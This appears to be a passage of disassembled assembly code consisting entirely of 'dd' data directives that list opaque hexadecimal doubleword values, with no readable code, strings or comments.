		dd 0F468261Bh, 5F140018h, 29DA6E1Dh, 0AA7B7600h, 0EB7A8CA9h
		dd 0B86A018Ah, 0A5633220h, 0A37630FCh, 423F4900h, 91B488D0h
		dd 77570015h, 0F411D839h, 980167F9h, 46D57B2Ch,	0DA405209h
		dd 34C23Ch, 0E5E99B88h,	2492F70h, 0DD24A9B8h, 0ED000E1Ah
		dd 0C1C28EA9h, 3CCA0741h, 307B4952h, 6313A03Eh,	934C7200h
		dd 1C97E034h, 0E17288h,	0A39E47B1h, 0DEF0430Fh,	5B39AE00h
		dd 775EB670h, 60060090h, 453133BCh, 0E1EA53E9h,	94A9D907h
		dd 79CDF6FFh, 80C173C8h, 0C6B04CE4h, 9585300h, 0FAD8E3EBh
		dd 42880096h, 3EB0EEEAh, 9D1ECAD2h, 0DD63185h, 3641AA00h
		dd 714C3C7Dh, 3066770Ah, 93103BC5h, 6700E872h, 108AA07Bh
		dd 0E5707CAh, 3CF16348h, 71E58198h, 0ED94CA88h,	0D62AF88Bh
		dd 0AE11C000h, 8C075026h, 0AF5F2B18h, 66A71720h, 0DF5E0025h
		dd 0A1039ABFh, 0E1001BBEh, 0F8DB9570h, 91E23Fh,	0D0D4B3C4h
		dd 6555B068h, 0EA7E7C00h, 0ACDF18A7h, 5DA90034h, 0E4DBE382h
		dd 650046E8h, 3349E1F4h, 2AF906h, 667D3836h, 194CD2D0h
		dd 97512F00h, 9587657Eh, 27B0BBh, 0FA407626h, 5FF7A51Bh
		dd 0A8000FE2h, 91B3AA24h, 77D4B48Fh, 54CD00E3h,	0FEE438BFh
		dd 0B803E651h, 0E7ED6202h, 1149B95Fh, 31C0D644h, 3E33EFA5h
		dd 3FBAFE44h, 1402D280h, 42A431D4h, 9CF0B500h, 1D4DE093h
		dd 8B40037Eh, 38B83753h, 0E690AFD8h, 2203FDB0h,	5B24D0E3h
		dd 0F5C5E0B4h, 0EB4B0705h, 819A9C0Fh, 0C01F9247h, 23001815h
		dd 8B4FDBB4h, 7F39A9EBh, 96E60349h, 372C1D27h, 0E7D7A5F8h
		dd 4FFCB300h, 75F7BE54h, 8C7E18h, 89CCCA82h, 0D6C7C88Bh
		dd 3C733Bh, 38A31BA7h, 43E11h, 9C533D0Dh, 9991254h, 4768E000h
		dd 337AA14h, 0E2F9839h,	0E58169Ah, 55644860h, 230089BBh
		dd 0A7F7CBA4h, 2C10273Ah, 6D3FDEh, 0B9A888B6h, 9E744BC9h
		dd 78871B00h, 0AB38EC0Dh, 19BB000Eh, 7E72EDF6h,	0D500221Eh
		dd 997466E7h, 38EA396Bh, 1480B05Fh, 1F850849h, 0DA00E1CBh
		dd 68E4BC44h, 5D9C96h, 6D1AB2EDh, 7B151151h, 4C733600h
		dd 0A340997Fh, 42106CBh, 69833332h, 6297A000h, 0ECDEC67Dh
		dd 31AC4807h, 0C05D0D1Eh, 0EB4A192Eh, 430FF86Dh, 20B3782Ah
		dd 0F0F5128Dh, 32371D25h, 0F2EA0121h, 308EFC4Fh, 6B001F18h
		dd 276541BEh, 20FDFD5h,	3EA3727Fh, 0D040520Dh, 0F373F854h
		dd 57783870h, 0D06F0527h, 0C55C0B93h, 1A008308h, 9376BCC0h
		dd 0CCF7F603h, 0F4E963Ch, 15528160h, 1DEC5760h,	0A7079EABh
		dd 0E2D563EDh, 56A146B1h, 6D662880h, 87A44B3h, 15707CC0h
		dd 37E72Ah, 78BF52D2h, 96D96B74h, 916AD500h, 0CB5F3CACh
		dd 315D01DCh, 80954F1Fh, 0CCEFFDAEh, 0BF006B9Fh, 0EE3CC17Dh
		dd 48484DCAh, 723D6474h, 7BF01C00h, 9A304C49h, 391FAFEAh
		dd 0E44DA775h, 29F4E43Ch, 0F4630F4Fh, 97C0B6DAh, 0BF2D4128h
		dd 656FD60Bh, 2EFB8345h, 2F88E82Ch, 0BB020340h,	0CAD73CD2h
		dd 0E78A6190h, 2579E807h, 15D1FC56h, 0D20DFE4h,	587603A0h
		dd 0B266ACF8h, 55F213E8h, 0DA2B9400h, 0A53404D8h, 3B38C078h
		dd 0B45A9F09h, 74737100h, 0C0FFC7F3h, 638E248Ah, 2390092h
		dd 0ABD31B3Dh, 6ABEB12Eh, 357EE404h, 0CE51880h,	593E00D7h
		dd 3203D250h, 8B5039BFh, 0FB00EFB8h, 8FC4C945h,	707AEA1h
		dd 471F69CDh, 73D1C0E7h, 0C1C044D4h, 3CBFEBDBh,	4BBC30F0h
		dd 66DAA920h, 0CC627701h, 6D65765Dh, 7875EBE8h,	50F00EEh
		dd 1B8E95C9h, 4500E9D4h, 0B30656ABh, 0C0226Dh, 4CC28239h
		dd 0F252117Bh, 6B3E4D07h, 8A908D63h, 0B83C0A9Fh, 41141FA3h
		dd 28EA40C4h, 0F2A09F9h, 6A91C500h, 1D635078h, 0F55900F3h
		dd 295988Dh, 1A00AB1Fh,	87C7F949h, 0A183D1DAh, 0C72076BDh
		dd 9A21F85Eh, 28AC6068h, 48D4B83Ah, 0E4D24002h,	81BDD8F3h
		dd 1032C98Dh, 5AF4B821h, 0BEDC07BAh, 13270420h,	71D8B3C2h
		dd 0D70EC05Dh, 0EF2C82h, 9E7E124h, 0AED300ECh, 0FA80907Eh
		dd 0E07D7C3h, 82FE6D68h, 7F542770h, 181848E0h, 5669D308h
		dd 80D86B4Eh, 28DF086Fh, 0C3890F39h, 0D667BA3Eh, 0D2FD620Dh
		dd 0BECC0760h, 0A299E31Eh, 0FB82CE00h, 504DD5DCh, 0FCCC42h
		dd 44664E47h, 552734C4h, 8220F403h, 1A964D1h, 0F0269F14h
		dd 0D499FB3Fh, 0FF00EB5Eh, 32699D6Ch, 3CF11E40h, 22005524h
		dd 1846866Dh, 12009ACFh, 1D47BA48h, 332429h, 634DBCEh
		dd 0F1148392h, 674F9D00h, 434B19B1h, 98AC00DEh,	2C876FF5h
		dd 1A0FFC9Ah, 408F9C40h, 67597DBEh, 9EAE483Ch, 210B0F7Ah
		dd 8CA0655Eh, 0C5B22E7Fh, 7511A600h, 33079214h,	0EA3D0EAAh
		dd 2020EEDDh, 0E09D5B9Eh, 7A71D0A8h, 0D20D2700h, 0CFD53205h
		dd 0C23507B8h, 2E8AACE5h, 0EED77Eh, 0C9BCCDB6h,	8F00C7AEh
		dd 7E750A95h, 2E6F277Fh, 0F370C4h, 0DB6B912Ch, 2033C196h
		dd 0E7ED605Eh, 0EEA42941h, 13ED730h, 4A9E7FEh, 34233AF4h
		dd 4C30BFCCh, 88D9315Bh, 0DB691D45h, 7FD503A8h,	80E74185h
		dd 0BA9D4478h, 244E8D1Fh, 4917CC40h, 85BFF8h, 777FD6B6h
		dd 0E68E0211h, 25396F00h, 3A1FCEFAh, 0F3EF0588h, 0C1B22947h
		dd 0D859BFA4h, 5100CC94h, 2F1F965Ch, 1237652h, 447FEFB7h
		dd 70B3B472h, 0D2395EFAh, 0E05B80AAh, 17FE1EC1h, 0B97C001Bh
		dd 0A9F2FF58h, 76000651h, 854AF898h, 0CFABB159h, 73C2BE28h
		dd 748F4DF4h, 0F95B5300h, 0B63B314Bh, 0C402F404h, 0B46AA102h
		dd 0F572008Fh, 0D9501E81h, 3B0F6980h, 8078DF22h, 6FFC8B0Eh
		dd 6DD71FEFh, 0E2494070h, 45695A77h, 882C4A00h,	404F5D1Eh
		dd 171C5C4Dh, 0D11A0C00h, 0C4D3B038h, 84FF0F00h, 0DE67685h
		dd 0E89E053h, 6E9E4079h, 9C2CA100h, 84015ED3h, 4CBB57EDh
		dd 0D2FC38C1h, 51B203D9h, 7DE6BDEBh, 0D22DF98h,	21003F5Bh
		dd 9F55F03Eh, 8FAA3CC2h, 36AD4E00h, 4DCC0EAFh, 0AE55300h
		dd 0CDB2C43Eh, 0E906002Fh, 50A0EE46h, 51001EFAh, 0D31CF242h
		dd 1F62F38Ah, 0C0335860h, 0E6D7319Ch, 0D4F9943Bh, 2400A306h
		dd 0BC480FBBh, 12B0AE22h, 7F3A9Dh, 946C721Ch, 83000573h
		dd 0B326B171h, 0EE804469h, 979100C3h, 2B95F996h, 0C8A82F9Ch
		dd 607CDC59h, 5E53AF00h, 0A32DC06Ch, 0B1D305A9h, 42C87Bh
		dd 0EA1F43CCh
		dd 0AC001472h, 0B6470667h, 918F35h, 51C017FAh, 4D4FE24h
		dd 496A8800h, 5A3DD248h, 0CB34A0A3h, 80CF00A4h,	106CFB04h
		dd 7F07DA5Dh, 7C1D6723h, 0BE7190A0h, 87F30099h,	6FDD838Eh
		dd 0E801DA49h, 6EDFD43Fh, 8083AA58h, 0F272811Ch, 8B2E63C8h
		dd 0F4D36800h, 0A2DD3E87h, 66EC1241h, 0A32446A0h, 0F63D812Dh
		dd 407B80E2h, 0EE50A656h, 0AB990038h, 0BCA7B72Ch, 5D497730h
		dd 500100C0h, 96586F80h, 71090ED6h, 33DA481h, 0F3EC3F91h
		dd 44F961FEh, 6A2490C8h, 8F1C0563h, 0D940CF03h,	4218B271h
		dd 0F780E79h, 98813E73h, 80CBBB62h, 84A992C2h, 74C18A40h
		dd 21336F8Bh, 4B82B643h, 0F3D58FC0h, 0C4069607h, 4ED11158h
		dd 43F18562h, 781BD0h, 0C7406BB8h, 84AF26B3h, 0AC7F1D1Dh
		dd 5B3008h, 0A7405122h,	306B768h, 17DA677Bh, 0EE920C69h
		dd 7F5829B4h, 8360BF00h, 222B4226h, 0B8626244h,	0B918746Dh
		dd 92643A82h, 0AE888B21h, 0E4CA0077h, 2952B181h, 0C7D36018h
		dd 0C088F239h, 0C0B21B08h, 4B004F67h, 59D5CB41h, 854914h
		dd 5E6498DEh, 74BF7DD1h, 1B887F66h, 60B20041h, 841E20E5h
		dd 0AB377217h, 0F8C3208Bh, 3FC17CE8h, 8840FF92h, 2430F614h
		dd 13DC8198h, 10805554h, 0B3F522EBh, 0BE0E040Ah, 477C746Ch
		dd 8660660Ch, 465488h, 31567229h, 0E8B42AC5h, 0A5497500h
		dd 2306A911h, 7B7B6Ah, 0B3B2AAF1h, 8A1EF2D6h, 2980C500h
		dd 67DA7FE9h, 71570068h, 5A93B635h, 160002ACh, 36E5428Dh
		dd 0E47A9Fh, 0E0CB399Dh, 58748F55h, 153F4B00h, 1BF30DF6h
		dd 0A60A0EE1h, 0E0205CFAh, 0DCF7CADDh, 841E5FE8h, 8B1E3D12h
		dd 6F635D40h, 7ED3F348h, 0C70E003Eh, 0D186746Eh, 278CC8Ah
		dd 462928C4h, 4462FF44h, 0FB4675E2h, 41F351E1h,	12027314h
		dd 81288386h, 61292116h, 88060E08h, 368C733Ah, 88AD7907h
		dd 0E4004DCDh, 0B823D7B4h, 7FDFFFh, 62548635h, 82BDA8Fh
		dd 570B1100h, 0AD2FAA8Ch, 0CF120F06h, 0ACA13CB6h, 0C01C8310h
		dd 6E00AE5Dh, 0B165744Fh, 5CD57DC0h, 0F200F6ADh, 37F57F10h
		dd 3000C1FDh, 81748344h, 50EBCF22h, 0AD4CE29h, 0BAEA0FC5h
		dd 0E6CA00BEh, 0B57F669Bh, 0E44B4401h, 0C85FBF1Ch, 19815AD5h
		dd 73977A5Dh, 45CAF889h, 2300C67Ah, 4AF76F1h, 1F3C55Bh
		dd 3975585h, 602AB95Fh,	0D07771E2h, 9C005C7Fh, 8A826508h
		dd 2BBB9Ah, 50439D3Eh, 349728D9h, 0B240D400h, 9E2F4496h
		dd 8B3800D5h, 5C9DA2F9h, 0AA00C3A3h, 0ECFB92EEh, 492978h
		dd 98FF771Ah, 0F4BA5FEBh, 0BFF77D00h, 0EC682D22h, 0F1E41C6Fh
		dd 8A0D40A7h, 0FF726377h, 0E62DE3Fh, 0E03ECFBAh, 0FA3320Ch
		dd 4A8FEDCh, 798F76E4h,	0CB0EFF94h, 7D7560EFh, 7789FAh
		dd 96281133h, 4DDCE31Dh, 0BE248300h, 9FB2B9F0h,	4B54009Bh
		dd 0B8F80F56h, 71007755h, 0E026BC0Bh, 0A1DE7Ch,	507A3643h
		dd 6FB93ABh, 0C245B500h, 35A073C6h, 0FEC326C9h,	0A876078Eh
		dd 3A2DA0D5h, 73070C22h, 9D2CB599h, 0FD7A06A0h,	0B2C807ABh
		dd 8030A5FFh, 5928FD0h,	29F3C900h, 0AE510918h, 13F800C6h
		dd 0A025A804h, 2309DE01h, 1183BC3h, 522D410Fh, 94BCF07Fh
		dd 3EE84400h, 0B898D9DCh, 56A70020h, 6DCDB4D0h,	0A5580579h
		dd 55C1046Eh, 0F5C4DDF2h, 68F59E00h, 2EDF28h, 9320A554h
		dd 0A6CF2CFAh, 677D6FEAh, 5B276800h, 3254D9DDh,	2CC734Fh
		dd 877CB563h, 80F593F7h, 31E91265h, 18BA006Bh, 0D129EDEFh
		dd 0EB004BBEh, 5A95CD26h, 12D477h, 96EEAE35h, 0DF0E4A08h
		dd 1AF3FF00h, 47C72AF6h, 976F00B4h, 8DACE1DDh, 50077B2h
		dd 7220A253h, 287156FEh, 60EFAE62h, 0D2E51906h,	0A000F223h
		dd 0CFCB472Ah, 107055h,	0AABEC515h, 3C34671Fh, 494C1E00h
		dd 0D4B6875h, 0F9F0069h, 38A932FCh, 0EC1D6AF3h,	379FE09Ch
		dd 6182DEC1h, 0F880282Dh, 30E2A185h, 7E009F5Ch,	0D1153E0h
		dd 59EB3h, 69DECFDh, 0CFFE4778h, 0BC293A00h, 4E11F4CEh
		dd 671A0F6Eh, 8600CD13h, 845A0272h, 0C6DE9C09h,	1051006Ch
		dd 97B936h, 0AC504457h,	0AE3C2E8Ah, 2C68E000h, 0A359D75Fh
		dd 126B3ABAh, 0DCD0AD03h, 75E8E678h, 237171CFh,	0FCF62D3Ah
		dd 550FAE00h, 6EF8C5DDh, 0A57448A2h, 0B2240500h, 0D4D7413Fh
		dd 0F11D800h, 84B9CCBFh, 0E995005Eh, 0FAA806CFh, 6724711Ah
		dd 28003021h, 0FD31E399h, 9FAE4h, 184627D5h, 0C70AAC36h
		dd 0D8EDC507h, 24100287h, 0FCD6E8DCh, 98A400E7h, 50CD226Ah
		dd 2E02EE11h, 8E4E9783h, 0AC23215Dh, 9A3401FFh,	90AF70E8h
		dd 0CADC00B4h, 8D7AF3D3h, 670096ACh, 0D97EA407h, 75BC5Ah
		dd 33514A5Ch, 0A2FD2CCh, 13D8900Ah, 0A80094B7h,	0F8A9285Ah
		dd 8A9E0709h, 401F9D83h, 8EE87310h, 0A5D6BB04h,	8B809F0Eh
		dd 6F48893h, 102162C0h,	460B199Bh, 0BF7C64Bh, 0F5F0005Bh
		dd 163FB4Eh, 0E78D3645h, 0D0597985h, 0DE72F6EEh, 6ED94000h
		dd 0F53C2054h, 42CA0010h, 370FDF47h, 0CC1377C7h, 41001E30h
		dd 50F0415Dh, 0A0C0053h, 3D93BCB1h, 16721B46h, 587A7300h
		dd 0B978BA86h, 0EDD8005Fh, 0AF528528h, 41E8C5D1h, 66AF900h
		dd 8127A50Bh, 73EE07F3h, 7F63EFE0h, 7B6B9000h, 0EC1A5BBAh
		dd 8039C362h, 112D3658h, 5DD0006Eh, 626AE781h, 56128877h
		dd 3C5E2694h, 60B4C7C0h, 242C58F3h, 1DB1E1Ah, 0C4C50DB1h
		dd 20FCE9FBh, 10001716h, 0A55C2E0h, 7922F1h, 1D5E24F9h
		dd 0C7216C30h, 0C62CEE1Fh, 1013FA40h, 0FC99592h, 3873890Fh
		dd 0B67A2E80h, 483F8C32h, 2F2C8041h, 0C019D9F5h, 0BFA300C8h
		dd 0D6980DBh, 0FB003573h, 0D7C11062h, 0E7D4DBBh, 91BA5A30h
		dd 0F4A71E07h, 82BC94E7h, 0B841833Ch, 776970D2h, 0CE12702h
		dd 402BBE65h, 0ABEEBCh,	16D1AD6Eh, 0B50546CEh, 0D5925200h
		dd 7D26ED87h, 3FC0E1FFh, 0D3F50027h, 83C87981h,	0A36048C7h
		dd 44A47570h, 8BDD26EDh, 37218BA4h, 0D0086284h,	0F8E63DA4h
		dd 52F2651Fh, 0B98DC7C2h, 55D0680Ch, 81A0058h, 77D4188Ah
		dd 0AD0024B4h, 0BD633E8Ch, 1925BE6h, 725C6FACh,	87EB7768h
		dd 0F7651BD8h, 0F5CC9100h, 86B000Ah, 40E27525h,	0CE3EA737h
		dd 0AA53001Bh, 85B44480h, 84480F4Bh, 0EFA05EE5h, 0D7CEDD57h
		dd 0AD21B200h, 3052B167h, 6C75004Eh, 0BE152597h, 0C20018CAh
		dd 0E9A5F599h, 1FF2D01h, 0D40989D6h, 0F67D9208h, 828C2740h
		dd 0DAD59F00h, 6AB1AE9Ch, 9030C043h, 3337949Bh,	0B832480Ah
		dd 3E408850h, 43DBEBh, 0C3287C2Fh, 4A18994h, 0EACC5401h
		dd 3DDEA4D7h, 36C3430h,	31E41E0Dh, 49D03536h, 0F200EFD8h
		dd 0CA484EBAh, 6D6399h,	0AF265E8Ah, 21D96090h, 73383A4Dh
		dd 195B15Ch, 3B4AD323h,	80C07B96h, 0E72002A6h, 0C10CB31Dh
		dd 394EF680h, 4FECEDFEh, 0AEC67B0Fh, 0F600FC88h, 872AB6Fh
		dd 0C400052h, 3319128Ch, 4A00E8BEh, 4D18733Fh, 0B56628h
		dd 588A6595h, 9F4CFE5h,	70042E00h, 1EB3A55Dh, 27250F07h
		dd 6000B78Ch, 869FA143h, 6FD09800h, 0EC174BAh, 0DCBD00B0h
		dd 2FE59122h, 0CE3476E7h, 0F9C74073h, 2685F120h, 9A603EABh
		dd 0CF35F080h, 0D7119040h, 0FA04A700h, 6DADCA30h, 0A0C101F5h
		dd 7B580121h, 0D8E0307Ah, 0D18E5A24h, 0FC30F400h, 7D6C5Dh
		dd 0EB3B7642h, 0C474F385h, 0D6969A00h, 3A8AFEF2h, 7BAB0F3Ch
		dd 420D480h, 977809D8h,	0C1471200h, 8B857FFh, 96A90040h
		dd 315D49FCh, 9E0444DEh
		dd 0DA4F7CC0h, 809BE0C3h, 0E6A237h, 0AC5BE0D3h,	0F440D479h
		dd 0E5074800h, 0B69A0BA9h, 5786016Fh, 0B455F091h, 0EB9CE0FAh
		dd 0A1A47F00h, 5F5817CDh, 2CAC0032h, 5DBDDC5Ch,	99486522h
		dd 0DD5A01C5h, 0D703511Eh, 0D28820h, 12E4451Ch,	0EB9E33C1h
		dd 0F8479500h, 6421CA2Ch, 0DC6900D6h, 0A067B3B8h, 174C453Ah
		dd 0C5FA0132h, 0B93FAD54h, 0B878B30h, 3EA32EFh,	0B872AA06h
		dd 0F0B4083Dh, 4D48E4F6h, 175C4C19h, 1900BD81h,	17B6967Fh
		dd 0F18500E1h, 0ECFE6E32h, 9C00CBA5h, 8CBD91F4h, 7F319495h
		dd 2F5B01E1h, 8254FAFDh, 3726C4FCh, 78BF6800h, 3DC2F962h
		dd 0A9910034h, 0A56C9C89h, 7109174Ah, 1AC3C6h, 79FF5E90h
		dd 87FE00D3h, 0BF545FCFh, 0B8004689h, 11E7D59Ch, 78B7FAh
		dd 0D98180EDh, 36267BF4h, 890BB3F4h, 80548656h,	383DE244h
		dd 0F72E17C4h, 2D9C002Ch, 0B9F5225Bh, 0D269FD00h, 6009A417h
		dd 0F29F0010h, 2842DB78h, 620189CBh, 303FE60Eh,	0A4EC9664h
		dd 0DD2200B1h, 93F97FC3h, 9A58F61Bh, 6F5B079Ch,	0A940314Bh
		dd 90944240h, 1D500014h, 831B2DDCh, 0F03A8A47h,	0E39E004Bh
		dd 0A66AAB7Bh, 0B1A70067h, 0B2BA102Ch, 3A02BF16h, 0E029F285h
		dd 15E24020h, 1A89000Dh, 0A5CCFFE9h, 0E09867E6h, 0D5DE4B00h
		dd 6146BF22h, 0DADF0030h, 6FCFBEF6h, 0FB001120h, 0E3A2444Eh
		dd 0EF9843h, 55F46A4Ch,	0F81438C9h, 0C31E3C0Ch,	0E66485h
		dd 312347E8h, 909F508Eh, 0DB002CB0h, 0C649D71Fh, 0CE1D7CB5h
		dd 44C48228h, 0B3A48065h, 40F6A8C0h, 11029600h,	3682018Ah
		dd 1B3E0052h, 28F3AFB9h, 0CC00BBDBh, 79E4A04Bh,	206A835h
		dd 8B021AC1h, 0B6C08487h, 0AA12BEEAh, 58800FECh, 80744B95h
		dd 9EEAA5CFh, 2681D100h, 75B0EDB6h, 0DB2C00C6h,	0E5BEB863h
		dd 2DF8B506h, 0F3686B07h, 70809BA0h, 462A709h, 241E0B7Bh
		dd 0DA92807Eh, 14034991h, 0F4FEFF66h, 4D77F0D7h, 3732390Bh
		dd 87020A00h, 0F6C503B1h, 0F2615C1Eh, 7A99D400h, 134EF3h
		dd 5A12170Ch, 0B05CC1Fh, 0A9040DF4h, 54C6E4B5h,	3FC85C80h
		dd 9D900402h, 0C0689983h, 0D6F8673Dh, 262AAF00h, 0E6780F64h
		dd 448D00A1h, 0D5F6883Bh, 0B13845C7h, 6FED028Ah, 40CE4FB2h
		dd 262F3A99h, 7ECFD3Bh,	0CE60C5C3h, 0CF1681D4h,	0AD9803E4h
		dd 0B6D0DB64h, 0AE988D85h, 0AB724A1Fh, 717AB380h, 0D6E4D4h
		dd 0B5049917h, 696B388Ch, 0E62D0500h, 3B6ADDA9h, 5BA73B5Ch
		dd 4660CD00h, 2C9010E2h, 192A0831h, 4083160Bh, 8CFCBA63h
		dd 30DC0A5h, 1700222Bh,	76847DA8h, 0F45230h, 0D40F8C66h
		dd 65633D97h, 94CEBD07h, 0F5402068h, 1F70F947h,	202056Bh
		dd 1C8A6EA7h, 5D74C380h, 0F70FB437h, 99B37Ah, 0CEE90EBBh
		dd 9FEC00DBh, 6AD4A16Eh, 8E122F49h, 60002858h, 753D0578h
		dd 8BDF00C9h, 0D00251AFh, 1B05A188h, 0DAEA310Fh, 876783h
		dd 2BB950AAh, 6EFEB51Eh, 0A1789200h, 77ACA513h,	0E94701Ah
		dd 966137ABh, 2E2452EFh, 0A844884Ah, 0DCC15D03h, 0D81D1FABh
		dd 0E08089B8h, 0C4E6C0h, 0A01E48A6h, 63222EA3h,	0B90C8B00h
		dd 40C2B7DAh, 0C45A0255h, 8860CE77h, 209F7160h,	63A24304h
		dd 0CCD00B4Ah, 344B06Ah, 0F4395394h, 0C2989670h, 0EB2438AAh
		dd 3B3F8C36h, 32BD80Ch,	184C4106h, 5E6007BDh, 2655E1h
		dd 11FA3582h, 0BDC17839h, 5D007459h, 0C464524Bh, 126C4DC5h
		dd 0DF56F0h, 0C12775E4h, 0B0632224h, 0B0954648h, 9A4347h
		dd 684B0F85h, 196FBBB7h, 80FCB203h, 8BF5277Fh, 6DFFD0EEh
		dd 0FA2024A0h, 1D37003Fh, 63088BBEh, 0C68AC800h, 45F18E1Fh
		dd 7DD500CFh, 6C5CC19Bh, 82031965h, 0E5AFC9FAh,	9C7FB86Ah
		dd 0E4640EB1h, 3F802CF1h, 0B7AB4E66h, 93E13407h, 0F490CED2h
		dd 0C69F3Ah, 2F32E7DDh,	3514C12Bh, 0E3F8BC00h, 0AB524D4Ah
		dd 4E5F00B9h, 8426C48Fh, 0DA073687h, 0F4F33CC6h, 192D7110h
		dd 5735005Eh, 0AE2E67CAh, 941EC97Eh, 370E52B5h,	0DC8A2C58h
		dd 0CC0A0B76h, 0C580CF2Fh, 0D66B23B5h, 2B98B00Fh, 0C58A60C3h
		dd 0FE47913Fh, 0F8310196h, 901F9278h, 0C440ECA8h, 0EE6A800Bh
		dd 9338802Ch, 5CCE4688h, 0DB38F004h, 0E33C1A81h, 0C8B3C9F8h
		dd 0D8008A02h, 17E5AB6h, 0A28121h, 0B2E704A9h, 0F16CA42Fh
		dd 0D339BB00h, 1320247Bh, 0B40200DDh, 0AA58895Dh, 9900F282h
		dd 0C9055CE3h, 65A2D7h,	44B73063h, 1A688772h, 4A0EF50Eh
		dd 0C4DB2005h, 6073EB86h, 4151341Fh, 0E8FCA94Dh, 6343A500h
		dd 0AD357BF3h, 22C201D8h, 383E45B4h, 2EA8C4BBh,	0BA78700Eh
		dd 0E0A20E5h, 3B6B53AFh, 0EB80F45Dh, 64402F99h,	0FC0E6C31h
		dd 80579763h, 7D092AC4h, 0D74B077Eh, 0D3A42C73h, 30D84A1Ch
		dd 0E6185EE5h, 6772CB89h, 0DB6AC055h, 475FE32Dh, 7C768D04h
		dd 1C81340Dh, 0A200E706h, 40010FCh, 0A1CD5123h,	7BFDC329h
		dd 0F307E03h, 2DB6614Bh, 9E88FE60h, 3500A4EAh, 64F367E4h
		dd 10928Dh, 81CE2EB3h, 70159471h, 0AC00957Fh, 66C76D2Dh
		dd 18307336h, 0B00DE0A5h, 8BE65A05h, 59209B00h,	8AA9D5F9h
		dd 26090092h, 1556DF3Bh, 0FE00885Dh, 3191F1F0h,	1FAC8333h
		dd 41C54B9Eh, 6BE1038Ch, 19D22042h, 0D7503067h,	0FEFC4330h
		dd 0B10800FBh, 89B0714Bh, 8B00862Fh, 0C949E84Ah, 0FC264Eh
		dd 0F99DFA56h, 0D057A741h, 74E1D800h, 0D553D6Dh, 64AE0023h
		dd 735B0AE6h, 0E43EC976h, 143B1D49h, 2EEE1C80h,	16F5D79h
		dd 4827A625h, 40B0F405h, 9DD3579Ch, 89FCB500h, 120A2C5Dh
		dd 0CCAD008Bh, 93F08554h, 5FECDEF5h, 91575B07h,	0D9C09297h
		dd 0F88369EDh, 86110036h, 62F4337Fh, 0AF00EC5Ah, 0F87A0E23h
		dd 3EA5700Fh, 0C000D8F7h, 0BC4D2529h, 75006946h, 3271039Bh
		dd 7C3B2E06h, 0B51703C3h, 0D8F9FC56h, 0B7C92FB8h, 667A0900h
		dd 5B415519h, 8EAD078Dh, 0C792DC4Ah, 0B0D0B7C9h, 14AB1545h
		dd 8C012509h, 6AB880E6h, 0FAE04626h, 606DFC74h,	1F8CE9F8h
		dd 0E2013B88h, 0A7E35E0Bh, 6D416B4h, 49DB000Eh,	6338EB80h
		dd 4B00D03Ch, 75E2D6B1h, 22432Fh, 23539F79h, 772A6E98h
		dd 0F7569300h, 0B165DE13h, 79FEA048h, 0D50600FDh, 0CC8D71E8h
		dd 28C083F2h, 0EA70AF18h, 0A0FC908Ah, 79801204h, 5BDF58E9h
		dd 7C73DB07h, 8F0CF0C7h, 0AE019BC0h, 0FBFC46Bh,	4AD417E0h
		dd 0FBE9E1DAh, 6359868Eh, 0A97FC0BCh, 0B427AA8Bh, 2AC21002h
		dd 404365CDh, 0A3C834h,	75F07823h, 2D12696Eh, 5030C7Ah
		dd 55E33541h, 0B551C197h, 77F90BCh, 0D3FD1D95h,	0C357013Ch
		dd 4965C07Dh, 276DC001h, 0A2B43FF8h, 0C811C30h,	6BD310DAh
		dd 0F609BE58h, 20366E4Fh, 3116C5D4h, 41600E5Ch,	8E21BD51h
		dd 4042C64Fh, 9126853Ch, 3146D806h, 0FB40BFAAh,	18B340ECh
		dd 4837A348h, 8008C42h,	2907D7C3h, 78190Fh, 0E261C88Fh
		dd 1421E3A5h, 6D9DD500h, 0FF574920h, 0A8EF07B7h, 0DCD18D90h
		dd 6B1C32D0h, 7B8F53DFh, 6CEC00FCh, 3EC9CF06h, 100B1BCh
		dd 28CD5F15h, 52007108h, 7A40A15Ah, 8C4EB2h, 82D98A4Ch
		dd 5373F2CEh, 65D42807h, 4160D871h, 0F58F702h, 5E9DA2D0h
		dd 25DBE9C0h, 0EA0E355Dh, 0E03DE16Eh, 0BF52D1F4h, 943604DFh
		dd 81671EE9h, 0F04214AAh, 5301D2FBh, 75ECA461h,	0A0DA8C34h
		dd 0A62D7794h, 91CA03CBh, 5718D9CFh, 24ED8FD9h,	86004820h
		dd 8C624EB8h, 19A0BEh, 0F7C3C87Bh, 0DEF3BDC6h, 353C6E12h
		dd 3D084015h, 0A700769Ch
		dd 38E122A5h, 0AE868A1h, 3A2AC9F3h, 0E67280B8h,	76E244EBh
		dd 506E262Ch, 10BF930Ah, 0DEE0813Dh, 4692BA3Fh,	7F5F8660h
		dd 0C77070h, 16082749h,	608C50D1h, 0D383C9C1h, 78F8333Dh
		dd 1D4700D9h, 0BB093092h, 320F7F48h, 46E72B6Dh,	5030CA03h
		dd 0B8B4E3B8h, 0DE8E007Ah, 46F0EEA5h, 1A7D32B6h, 0F5C180C0h
		dd 255F49h, 0CE0702E2h,	0BD34202Bh, 82B0D848h, 488FE55Dh
		dd 60182548h, 0AC4918F5h, 0B8009E09h, 7DF04744h, 0C2A6257h
		dd 0E97702ECh, 60500D0Ah, 183FC998h, 0A1480B8h,	0DAE0738Fh
		dd 63512C07h, 0FDC50953h, 77797400h, 0D200F41Dh, 86BE5A6Bh
		dd 0AE6AC0h, 0C2395C6Fh, 68C4A8D8h, 0D062781Fh,	7CBA9CEh
		dd 6DC096BAh, 76C85AA2h, 0EAA51394h, 0F1FA0020h, 0B960515Bh
		dd 0E7774500h, 6D4DED57h, 76D101C8h, 865E0547h,	0A55FEC0Bh
		dd 523683Fh, 3A225D02h,	629BCE00h, 106A09Eh, 0BFE2706Fh
		dd 0FC9750EFh, 0A50328AEh, 96B70226h, 595097BEh, 0FF981Fh
		dd 0B17D703h, 39E5C6FDh, 0B2094700h, 0CA658B6Bh, 0F0E2004Dh
		dd 4AA76ADh, 0AD905E68h, 83A3433Eh, 0A5134C8h, 57369038h
		dd 7770CCh, 0D7332A6h, 4EC00853h, 0E7978A00h, 6E3AA75h
		dd 1E51076Dh, 0C08F9D71h, 86A29C2Eh, 98F65500h,	44CD2DBCh
		dd 46C62C37h, 0F487073Dh, 1B0FAE8h, 0F620630Eh,	0CDDDCC3Ch
		dd 898E8500h, 4C668C35h, 3E990F4h, 6D0BBF5Ah, 2811F5FEh
		dd 9821CF41h, 67843F10h, 28E54AFCh, 2262801Ch, 450029Bh
		dd 2284A914h, 47227D16h, 57D710FEh, 174D08F7h, 22151D87h
		dd 8A28A350h, 31C94E63h, 0EF291143h, 50CF2884h,	15283B50h
